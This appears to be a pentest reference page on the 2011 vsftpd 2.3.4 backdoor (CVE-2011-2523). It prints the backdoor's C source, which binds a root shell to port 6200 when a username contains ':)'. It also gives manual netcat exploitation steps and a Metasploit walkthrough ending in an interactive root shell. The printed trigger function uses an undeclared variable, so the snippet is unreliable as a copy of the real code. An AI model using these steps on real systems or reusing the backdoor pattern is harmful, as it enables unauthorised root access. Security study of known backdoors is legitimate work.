Skip to content
HackIndex.io

vsftpd 2.3.4 Backdoor

2 min read Created Dec 29, 2025 Last updated Apr 24, 2026

CVE: CVE-2011-2523

The vsftpd 2.3.4 backdoor originated from a supply-chain compromise in July 2011. An unknown attacker hacked the official vsftpd download site and replaced the vsftpd-2.3.4.tar.gz archive with a trojaned version for a short period (June 30 to July 3). Anyone who downloaded and compiled from that file ended up with a daemon containing a deliberate root backdoor.

  • Trigger send a username containing :) (the bytes 0x3a 0x29) during login to activate the backdoor.
  • Bind shell on port 6200 the backdoor opens a root shell listener that accepts one connection at a time.
  • Manual exploitation trigger with netcat on port 21, then connect to port 6200 for an interactive root shell.
  • Metasploit module exploit/unix/ftp/vsftpd_234_backdoor automates the trigger and shell connection.

Technical Details

The malicious code was inserted into the source. In str.c (or related parsing code), during username handling:

str_contains_line(const struct mystr * p_str,
  const struct mystr * p_line_str) {
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, & s_curr_line_str, & pos)) {
    if (str_equal( & s_curr_line_str, p_line_str)) {
      return 1;
    } else if ((p_str -> p_buf[i] == 0x3a) &&
      (p_str -> p_buf[i + 1] == 0x29)) {
      vsf_sysutil_extra();
    }
  }
  return 0;
}

More precisely, it checks for the bytes \x3a\x29 (ASCII ":)") in the username string.

This triggers vsf_sysutil_extra() in sysdeputil.c (or equivalent backdoor function):

vsf_sysutil_extra(void) {
  int fd, rfd;
  struct sockaddr_in sa;
  if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    exit(1);
  memset( & sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if ((bind(fd, (struct sockaddr * ) & sa,
      sizeof(struct sockaddr))) < 0) exit(1);
  if ((listen(fd, 100)) == -1) exit(1);
  for (;;) {
    rfd = accept(fd, 0, 0);
    close(0);
    close(1);
    close(2);
    dup2(rfd, 0);
    dup2(rfd, 1);
    dup2(rfd, 2);
    execl("/bin/sh", "sh", (char * ) 0);
  }
}

No authentication required. Send a username containing :) (smiley face) during FTP login attempt - the daemon opens a bind shell on port 6200 as root (vsftpd runs as root by default).

The backdoor shell closes after one connection/disconnect.

Manual Exploitation

Connect to FTP port (telnet or nc works since no real auth needed):

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 21
┌──(kali㉿kali)-[~]
└─$ USER anything:)
┌──(kali㉿kali)-[~]
└─$ PASS whatever

(The FTP connection will hang or drop - that's normal.)

Now connect to the opened backdoor shell:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 6200
┌──(kali㉿kali)-[~]
└─$ id 
uid=0(root) gid=0(root) ...

Interactive root shell. Run commands freely.

Note: Shell dies on disconnect. Retrigger by sending another smiley username if needed.

Metasploit Module

┌──(kali㉿kali)-[~]
└─$ msfconsole
┌──(kali㉿kali)-[~]
└─$ use exploit/unix/ftp/vsftpd_234_backdoor
┌──(kali㉿kali)-[~]
└─$ set RHOSTS $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ set payload cmd/unix/interact # default; gives interactive shell on 6200
┌──(kali㉿kali)-[~]
└─$ exploit

The module sends the smiley trigger, waits for port 6200 to open, then connects and drops a root command shell (or interact payload).

References